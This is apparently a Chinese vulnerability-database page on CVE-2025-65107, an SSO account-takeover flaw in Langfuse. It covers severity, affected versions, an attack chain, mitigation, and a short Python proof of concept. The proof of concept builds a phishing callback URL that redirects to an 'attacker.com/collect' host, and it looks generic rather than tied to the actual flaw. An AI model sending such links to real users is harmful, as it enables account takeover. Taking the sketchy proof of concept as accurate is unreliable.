IPBUF安全漏洞报告
English
CVE-2025-65107 CVSS 6.5 中危

CVE-2025-65107: Langfuse SSO配置账户接管漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-65107
漏洞类型
CSRF/账户接管
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Langfuse

相关标签

CSRF账户接管SSO认证绕过LangfuseCVE-2025-65107LLM平台身份认证漏洞

漏洞概述

Langfuse是一个开源的大型语言模型工程平台。该平台在2.95.0至2.95.12之前版本以及3.17.0至3.131.0之前版本中存在一个严重的安全漏洞。漏洞源于SSO提供商配置中缺少明确的AUTH_<PROVIDER>_CHECK设置,导致攻击者可以通过CSRF或钓鱼攻击诱导已认证用户访问特制的URL,从而可能实现账户接管。攻击者利用此漏洞可以获取用户的高机密性信息,但不影响系统的完整性和可用性。CVSS评分6.5,属于中等严重级别,需要网络攻击且无需认证,但需要用户交互才能成功利用。该漏洞已被修复,版本2.95.12和3.131.0已包含补丁。

技术细节

该漏洞的根本原因在于Langfuse的SSO认证流程中,当SSO提供商配置缺少AUTH_<PROVIDER>_CHECK显式设置时,系统无法正确验证认证请求的完整性。攻击者首先构建一个特制的URL,该URL包含用于触发SSO认证流程的恶意参数。然后通过CSRF攻击或钓鱼邮件等方式诱导已登录用户访问该URL。当用户访问该URL时,浏览器会自动发送已认证用户的cookies到Langfuse服务器,同时触发SSO认证流程。由于缺少正确的验证机制,系统可能会将攻击者控制的账户与受害者账户关联,从而实现账户接管。攻击成功的关键条件包括:1)受害者已登录Langfuse且保持会话活跃;2)受害者访问攻击者构造的恶意链接;3)SSO提供商配置未设置AUTH_<PROVIDER>_CHECK参数。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Langfuse实例及其SSO提供商配置,确认AUTH_<PROVIDER>_CHECK参数未设置
STEP 2
步骤2: 构造恶意URL
攻击者构建包含恶意参数的特制URL,用于触发SSO认证回调流程
STEP 3
步骤3: 社会工程攻击
通过钓鱼邮件、CSRF页面或其他方式诱导已登录用户访问恶意URL
STEP 4
步骤4: 会话劫持
用户浏览器发送认证cookies到服务器,触发存在漏洞的SSO回调处理逻辑
STEP 5
步骤5: 账户关联
由于缺少正确的state参数验证,系统将攻击者控制的账户与受害者账户错误关联
STEP 6
步骤6: 账户接管
攻击者获得受害者账户的完全访问权限,可以查看机密数据但无法修改系统数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import hashlib import urllib.parse def generate_malicious_url(base_url, provider, redirect_uri): """ Generate malicious URL for CVE-2025-65107 exploitation This PoC demonstrates the attack chain for SSO account takeover """ params = { 'provider': provider, 'redirect_uri': redirect_uri, 'state': hashlib.md5(b'attacker_controlled_data').hexdigest(), 'code': 'malicious_authorization_code' } malicious_url = f"{base_url}/auth/sso/callback?{urllib.parse.urlencode(params)}" return malicious_url # Example usage # base_url = "https://vulnerable-langfuse-instance.com" # malicious_url = generate_malicious_url(base_url, "github", "https://attacker.com/collect") # print(f"Send this URL to victim: {malicious_url}")

影响范围

Langfuse >= 2.95.0 且 < 2.95.12
Langfuse >= 3.17.0 且 < 3.131.0

防御指南

临时缓解措施
如果无法立即升级,可在SSO提供商配置中显式设置AUTH_<PROVIDER>_CHECK参数以启用额外的验证机制。同时建议监控认证日志,警惕异常的SSO回调请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表